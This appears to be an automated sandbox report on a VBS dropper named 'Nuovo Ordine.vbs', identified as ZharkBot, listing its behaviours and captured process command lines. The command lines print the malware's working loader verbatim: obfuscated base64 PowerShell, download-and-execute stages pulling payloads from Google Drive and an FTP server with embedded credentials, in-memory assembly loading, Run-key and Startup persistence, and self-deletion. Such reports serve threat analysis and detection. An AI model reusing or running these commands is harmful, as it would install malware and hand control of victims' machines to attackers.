Analysis Overview
SHA256
3fa4e2db3d9404f713f1f79a4eb79dda148325407408ef9d9a605479377295c8
Threat Level: Known bad
The file Nuovo Ordine.vbs was found to be: Known bad.
Malicious Activity Summary
Detects ZharkBot payload
ZharkBot
Blocklisted process makes network request
Checks computer location settings
Drops startup file
Indicator Removal: File Deletion
Adds Run key to start application
Legitimate hosting services abused for malware hosting/C2
Command and Scripting Interpreter: PowerShell
Suspicious use of SetThreadContext
Drops file in Windows directory
System Location Discovery: System Language Discovery
Program crash
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-09-23 14:15
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-23 14:15
Reported
2024-09-23 14:18
Platform
win10v2004-20240802-en
Max time kernel
94s
Max time network
100s
Command Line
Signatures
Detects ZharkBot payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
ZharkBot
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_i = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\hdzkt.ps1' \";exit" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Indicator Removal: File Deletion
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4100 set thread context of 1696 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9ҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦGUҼмẦdQByҼмẦHQҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦGgҼмẦdҼмẦB0ҼмẦHҼмẦҼмẦcwҼмẦ6ҼмẦC8ҼмẦLwBlҼмẦHYҼмẦaQByҼмẦHQҼмẦdQBhҼмẦGwҼмẦcwBlҼмẦHIҼмẦdgBpҼмẦGMҼмẦZQBzҼмẦHIҼмẦZQB2ҼмẦGkҼмẦZQB3ҼмẦHMҼмẦLgBjҼмẦG8ҼмẦbQҼмẦvҼмẦHcҼмẦcҼмẦҼмẦtҼмẦGkҼмẦbgBjҼмẦGwҼмẦdQBkҼмẦGUҼмẦcwҼмẦvҼмẦGYҼмẦbwBuҼмẦHQҼмẦcwҼмẦvҼмẦGkҼмẦdҼмẦBvҼмẦC4ҼмẦdҼмẦB4ҼмẦHQҼмẦJwҼмẦgҼмẦCgҼмẦIҼмẦBdҼмẦF0ҼмẦWwB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦbwBbҼмẦCҼмẦҼмẦLҼмẦҼмẦgҼмẦGwҼмẦbҼмẦB1ҼмẦG4ҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZQBrҼмẦG8ҼмẦdgBuҼмẦEkҼмẦLgҼмẦpҼмẦCҼмẦҼмẦJwBJҼмẦFYҼмẦRgByҼмẦHҼмẦҼмẦJwҼмẦgҼмẦCgҼмẦZҼмẦBvҼмẦGgҼмẦdҼмẦBlҼмẦE0ҼмẦdҼмẦBlҼмẦEcҼмẦLgҼмẦpҼмẦCcҼмẦMQBzҼмẦHMҼмẦYQBsҼмẦEMҼмẦLgҼмẦzҼмẦHkҼмẦcgBhҼмẦHIҼмẦYgBpҼмẦEwҼмẦcwBzҼмẦGEҼмẦbҼмẦBDҼмẦCcҼмẦKҼмẦBlҼмẦHҼмẦҼмẦeQBUҼмẦHQҼмẦZQBHҼмẦC4ҼмẦKQҼмẦgҼмẦFoҼмẦYwBCҼмẦGMҼмẦYQҼмẦkҼмẦCҼмẦҼмẦKҼмẦBkҼмẦGEҼмẦbwBMҼмẦC4ҼмẦbgBpҼмẦGEҼмẦbQBvҼмẦEQҼмẦdҼмẦBuҼмẦGUҼмẦcgByҼмẦHUҼмẦQwҼмẦ6ҼмẦDoҼмẦXQBuҼмẦGkҼмẦYQBtҼмẦG8ҼмẦRҼмẦBwҼмẦHҼмẦҼмẦQQҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦOwҼмẦpҼмẦCҼмẦҼмẦKQҼмẦgҼмẦCcҼмẦQQҼмẦnҼмẦCҼмẦҼмẦLҼмẦҼмẦgҼмẦCcҼмẦkyE6ҼмẦJMhJwҼмẦgҼмẦCgҼмẦZQBjҼмẦGEҼмẦbҼмẦBwҼмẦGUҼмẦUgҼмẦuҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦIҼмẦҼмẦoҼмẦGcҼмẦbgBpҼмẦHIҼмẦdҼмẦBTҼмẦDQҼмẦNgBlҼмẦHMҼмẦYQBCҼмẦG0ҼмẦbwByҼмẦEYҼмẦOgҼмẦ6ҼмẦF0ҼмẦdҼмẦByҼмẦGUҼмẦdgBuҼмẦG8ҼмẦQwҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦWgBjҼмẦEIҼмẦYwBhҼмẦCQҼмẦIҼмẦBdҼмẦF0ҼмẦWwBlҼмẦHQҼмẦeQBCҼмẦFsҼмẦOwҼмẦnҼмẦCUҼмẦSQBoҼмẦHEҼмẦUgBYҼмẦCUҼмẦJwҼмẦgҼмẦD0ҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦIҼмẦBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgBwҼмẦHoҼмẦeQBhҼмẦCQҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcҼмẦB6ҼмẦHkҼмẦYQҼмẦkҼмẦDsҼмẦKQB0ҼмẦG4ҼмẦZQBpҼмẦGwҼмẦQwBiҼмẦGUҼмẦVwҼмẦuҼмẦHQҼмẦZQBOҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦE8ҼмẦLQB3ҼмẦGUҼмẦTgҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦKҼмẦBlҼмẦHMҼмẦbwBwҼмẦHMҼмẦaQBkҼмẦC4ҼмẦcҼмẦB6ҼмẦHkҼмẦYQҼмẦkҼмẦDsҼмẦKQҼмẦgҼмẦCcҼмẦdҼмẦB4ҼмẦHQҼмẦLgҼмẦxҼмẦDҼмẦҼмẦTҼмẦBMҼмẦEQҼмẦLwҼмẦxҼмẦDҼмẦҼмẦLwByҼмẦGUҼмẦdҼмẦBwҼмẦHkҼмẦcgBjҼмẦHҼмẦҼмẦVQҼмẦvҼмẦHIҼмẦYgҼмẦuҼмẦG0ҼмẦbwBjҼмẦC4ҼмẦdҼмẦBhҼмẦHIҼмẦYgB2ҼмẦGsҼмẦYwBzҼмẦGUҼмẦZҼмẦҼмẦuҼмẦHҼмẦҼмẦdҼмẦBmҼмẦEҼмẦҼмẦMQB0ҼмẦGEҼмẦcgBiҼмẦHYҼмẦawBjҼмẦHMҼмẦZQBkҼмẦC8ҼмẦLwҼмẦ6ҼмẦHҼмẦҼмẦdҼмẦBmҼмẦCcҼмẦIҼмẦҼмẦoҼмẦGcҼмẦbgBpҼмẦHIҼмẦdҼмẦBTҼмẦGQҼмẦYQBvҼмẦGwҼмẦbgB3ҼмẦG8ҼмẦRҼмẦҼмẦuҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦDsҼмẦKQҼмẦnҼмẦEҼмẦҼмẦQҼмẦBwҼмẦEoҼмẦOҼмẦҼмẦ3ҼмẦDUҼмẦMQҼмẦyҼмẦG8ҼмẦcgBwҼмẦHIҼмẦZQBwҼмẦG8ҼмẦbҼмẦBlҼмẦHYҼмẦZQBkҼмẦCcҼмẦLҼмẦҼмẦpҼмẦCkҼмẦOQҼмẦ0ҼмẦCwҼмẦNgҼмẦxҼмẦDEҼмẦLҼмẦҼмẦ3ҼмẦDkҼмẦLҼмẦҼмẦ0ҼмẦDEҼмẦMQҼмẦsҼмẦDgҼмẦOQҼмẦsҼмẦDgҼмẦMQҼмẦxҼмẦCwҼмẦNwҼмẦwҼмẦDEҼмẦLҼмẦҼмẦ5ҼмẦDkҼмẦLҼмẦҼмẦ1ҼмẦDEҼмẦMQҼмẦsҼмẦDEҼмẦMҼмẦҼмẦxҼмẦCwҼмẦMҼмẦҼмẦwҼмẦDEҼмẦKҼмẦBdҼмẦF0ҼмẦWwByҼмẦGEҼмẦaҼмẦBjҼмẦFsҼмẦIҼмẦBuҼмẦGkҼмẦbwBqҼмẦC0ҼмẦKҼмẦҼмẦoҼмẦGwҼмẦYQBpҼмẦHQҼмẦbgBlҼмẦGQҼмẦZQByҼмẦEMҼмẦawByҼмẦG8ҼмẦdwB0ҼмẦGUҼмẦTgҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦIҼмẦB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦbwҼмẦtҼмẦHcҼмẦZQBuҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHMҼмẦbҼмẦBhҼмẦGkҼмẦdҼмẦBuҼмẦGUҼмẦZҼмẦBlҼмẦHIҼмẦQwҼмẦuҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcҼмẦB6ҼмẦHkҼмẦYQҼмẦkҼмẦDsҼмẦKQB0ҼмẦG4ҼмẦZQBpҼмẦGwҼмẦQwBiҼмẦGUҼмẦVwҼмẦuҼмẦHQҼмẦZQBOҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦE8ҼмẦLQB3ҼмẦGUҼмẦTgҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦ7ҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦOwҼмẦyҼмẦDEҼмẦcwBsҼмẦFQҼмẦOgҼмẦ6ҼмẦF0ҼмẦZQBwҼмẦHkҼмẦVҼмẦBsҼмẦG8ҼмẦYwBvҼмẦHQҼмẦbwByҼмẦFҼмẦҼмẦeQB0ҼмẦGkҼмẦcgB1ҼмẦGMҼмẦZQBTҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGwҼмẦbwBjҼмẦG8ҼмẦdҼмẦBvҼмẦHIҼмẦUҼмẦB5ҼмẦHQҼмẦaQByҼмẦHUҼмẦYwBlҼмẦFMҼмẦOgҼмẦ6ҼмẦF0ҼмẦcgBlҼмẦGcҼмẦYQBuҼмẦGEҼмẦTQB0ҼмẦG4ҼмẦaQBvҼмẦFҼмẦҼмẦZQBjҼмẦGkҼмẦdgByҼмẦGUҼмẦUwҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦ7ҼмẦH0ҼмẦZQB1ҼмẦHIҼмẦdҼмẦҼмẦkҼмẦHsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦawBjҼмẦGEҼмẦYgBsҼмẦGwҼмẦYQBDҼмẦG4ҼмẦbwBpҼмẦHQҼмẦYQBkҼмẦGkҼмẦbҼмẦBhҼмẦFYҼмẦZQB0ҼмẦGEҼмẦYwBpҼмẦGYҼмẦaQB0ҼмẦHIҼмẦZQBDҼмẦHIҼмẦZQB2ҼмẦHIҼмẦZQBTҼмẦDoҼмẦOgBdҼмẦHIҼмẦZQBnҼмẦGEҼмẦbgBhҼмẦE0ҼмẦdҼмẦBuҼмẦGkҼмẦbwBQҼмẦGUҼмẦYwBpҼмẦHYҼмẦcgBlҼмẦFMҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦewҼмẦgҼмẦGUҼмẦcwBsҼмẦGUҼмẦfQҼмẦgҼмẦGYҼмẦLwҼмẦgҼмẦDҼмẦҼмẦIҼмẦB0ҼмẦC8ҼмẦIҼмẦByҼмẦC8ҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦG4ҼмẦdwBvҼмẦGQҼмẦdҼмẦB1ҼмẦGgҼмẦcwҼмẦgҼмẦDsҼмẦJwҼмẦwҼмẦDgҼмẦMQҼмẦgҼмẦHҼмẦҼмẦZQBlҼмẦGwҼмẦcwҼмẦnҼмẦCҼмẦҼмẦZҼмẦBuҼмẦGEҼмẦbQBtҼмẦG8ҼмẦYwҼмẦtҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBsҼмẦGwҼмẦZQBoҼмẦHMҼмẦcgBlҼмẦHcҼмẦbwBwҼмẦDsҼмẦIҼмẦBlҼмẦGMҼмẦcgBvҼмẦGYҼмẦLQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦHҼмẦҼмẦdQB0ҼмẦHIҼмẦYQB0ҼмẦFMҼмẦXҼмẦBzҼмẦG0ҼмẦYQByҼмẦGcҼмẦbwByҼмẦFҼмẦҼмẦXҼмẦB1ҼмẦG4ҼмẦZQBNҼмẦCҼмẦҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBTҼмẦFwҼмẦcwB3ҼмẦG8ҼмẦZҼмẦBuҼмẦGkҼмẦVwBcҼмẦHQҼмẦZgBvҼмẦHMҼмẦbwByҼмẦGMҼмẦaQBNҼмẦFwҼмẦZwBuҼмẦGkҼмẦbQBhҼмẦG8ҼмẦUgBcҼмẦGEҼмẦdҼмẦBhҼмẦEQҼмẦcҼмẦBwҼмẦEEҼмẦXҼмẦҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦFoҼмẦSwBuҼмẦFkҼмẦTQҼмẦkҼмẦCҼмẦҼмẦKҼмẦҼмẦgҼмẦG4ҼмẦbwBpҼмẦHQҼмẦYQBuҼмẦGkҼмẦdҼмẦBzҼмẦGUҼмẦRҼмẦҼмẦtҼмẦCҼмẦҼмẦJwҼмẦlҼмẦEkҼмẦaҼмẦBxҼмẦFIҼмẦWҼмẦҼмẦlҼмẦCcҼмẦIҼмẦBtҼмẦGUҼмẦdҼмẦBJҼмẦC0ҼмẦeQBwҼмẦG8ҼмẦQwҼмẦgҼмẦDsҼмẦIҼмẦB0ҼмẦHIҼмẦYQB0ҼмẦHMҼмẦZQByҼмẦG8ҼмẦbgҼмẦvҼмẦCҼмẦҼмẦdҼмẦBlҼмẦGkҼмẦdQBxҼмẦC8ҼмẦIҼмẦBHҼмẦGMҼмẦVwBpҼмẦFIҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦGEҼмẦcwB1ҼмẦHcҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦGwҼмẦbҼмẦBlҼмẦGgҼмẦcwByҼмẦGUҼмẦdwBvҼмẦHҼмẦҼмẦIҼмẦҼмẦ7ҼмẦCkҼмẦJwB1ҼмẦHMҼмẦbQҼмẦuҼмẦG4ҼмẦaQB3ҼмẦHҼмẦҼмẦVQBcҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦTgBKҼмẦFQҼмẦeҼмẦBEҼмẦCQҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBHҼмẦGMҼмẦVwBpҼмẦFIҼмẦOwҼмẦpҼмẦCҼмẦҼмẦZQBtҼмẦGEҼмẦTgByҼмẦGUҼмẦcwBVҼмẦDoҼмẦOgBdҼмẦHQҼмẦbgBlҼмẦG0ҼмẦbgBvҼмẦHIҼмẦaQB2ҼмẦG4ҼмẦRQBbҼмẦCҼмẦҼмẦKwҼмẦgҼмẦCcҼмẦXҼмẦBzҼмẦHIҼмẦZQBzҼмẦFUҼмẦXҼмẦҼмẦ6ҼмẦEMҼмẦJwҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦFoҼмẦSwBuҼмẦFkҼмẦTQҼмẦkҼмẦDsҼмẦKQҼмẦnҼмẦHUҼмẦcwBtҼмẦC4ҼмẦbgBpҼмẦHcҼмẦcҼмẦBVҼмẦFwҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBOҼмẦEoҼмẦVҼмẦB4ҼмẦEQҼмẦJҼмẦҼмẦgҼмẦCwҼмẦQgBLҼмẦEwҼмẦUgBVҼмẦCQҼмẦKҼмẦBlҼмẦGwҼмẦaQBGҼмẦGQҼмẦYQBvҼмẦGwҼмẦbgB3ҼмẦG8ҼмẦRҼмẦҼмẦuҼмẦHMҼмẦdҼмẦBtҼмẦG8ҼмẦbwҼмẦkҼмẦDsҼмẦOҼмẦBGҼмẦFQҼмẦVQҼмẦ6ҼмẦDoҼмẦXQBnҼмẦG4ҼмẦaQBkҼмẦG8ҼмẦYwBuҼмẦEUҼмẦLgB0ҼмẦHgҼмẦZQBUҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦgҼмẦD0ҼмẦIҼмẦBnҼмẦG4ҼмẦaQBkҼмẦG8ҼмẦYwBuҼмẦEUҼмẦLgBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦH0ҼмẦOwҼмẦgҼмẦCkҼмẦJwB0ҼмẦE8ҼмẦTҼмẦBjҼмẦF8ҼмẦSwBhҼмẦDMҼмẦWgBmҼмẦG8ҼмẦWҼмẦҼмẦyҼмẦEoҼмẦSgByҼмẦFYҼмẦaҼмẦBtҼмẦFYҼмẦOQBjҼмẦG0ҼмẦOQBYҼмẦHMҼмẦdQBYҼмẦG0ҼмẦagҼмẦxҼмẦGcҼмẦMQҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦbwB4ҼмẦEsҼмẦVQBnҼмẦCQҼмẦewҼмẦgҼмẦGUҼмẦcwBsҼмẦGUҼмẦfQҼмẦ7ҼмẦCҼмẦҼмẦKQҼмẦnҼмẦDIҼмẦNҼмẦB1ҼмẦFgҼмẦSgBUҼмẦHEҼмẦYQBtҼмẦGcҼмẦeQBNҼмẦHQҼмẦRgB6ҼмẦGEҼмẦawBQҼмẦFIҼмẦMQBxҼмẦF8ҼмẦSQB2ҼмẦEcҼмẦaQBYҼмẦE4ҼмẦZҼмẦBxҼмẦGEҼмẦTgҼмẦxҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦbwB4ҼмẦEsҼмẦVQBnҼмẦCQҼмẦKҼмẦҼмẦgҼмẦD0AIABvAHgASwBVAGcAJAB7ACAAKQAgAHUATgBDAFYAcQAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcwBuAGkAYQB0AG4AbwBDAC4ARQBSAFUAVABDAEUAVABJAEgAQwBSAEEAXwBSAE8AUwBTAEUAQwBPAFIAUAA6AHYAbgBlACQAIAA9ACAAdQBOAEMAVgBxACQAOwAnAD0AZABpACYAZABhAG8AbABuAHcAbwBkAD0AdAByAG8AcAB4AGUAPwBjAHUALwBtAG8AYwAuAGUAbABnAG8AbwBnAC4AZQB2AGkAcgBkAC8ALwA6AHMAcAB0AHQAaAAnACAAPQAgAG8AeABLAFUAZwAkADsAKQAgACcAdQBzAG0ALgBuAGkAdwBwAFUAXAAnACAAKwAgAE4ASgBUAHgARAAkACAAKAAgAGwAZQBkADsAKQAoAGgAdABhAFAAcABtAGUAVAB0AGUARwA6ADoAXQBoAHQAYQBQAC4ATwBJAC4AbQBlAHQAcwB5AFMAWwAgAD0AIABOAEoAVAB4AEQAJAB7ACAAKQAgAGQAdgBvAGYAWAAkACAAKAAgAGYAaQA7ACAAKQAyACgAcwBsAGEAdQBxAEUALgByAG8AagBhAE0ALgBuAG8AaQBzAHIAZQBWAC4AdABzAG8AaAAkACAAPQAgAGQAdgBvAGYAWAAkACAAOwA=';$kahlN = $qKKzc.replace('ҼмẦ' , 'A') ;$DLOWx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $DLOWx = $DLOWx[-1..-$DLOWx.Length] -join '';$DLOWx = $DLOWx.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs');powershell $DLOWx
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Xfovd = $host.Version.Major.Equals(2) ;if ( $Xfovd ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$oomts = (New-Object Net.WebClient);$oomts.Encoding = [System.Text.Encoding]::UTF8;$oomts.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$ayzp = (New-Object Net.WebClient);$ayzp.Encoding = [System.Text.Encoding]::UTF8;$ayzp.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $ayzp.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$ayzp.dispose();$ayzp = (New-Object Net.WebClient);$ayzp.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $ayzp.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.oti/stnof/sedulcni-pw/moc.sweiversecivreslautrive//:sptth' , $huUPX , 'true' ) );};"
C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\hdzkt.ps1"
C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 1696 -ip 1696
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1696 -s 620
Network
| Country | Destination | Domain | Proto |
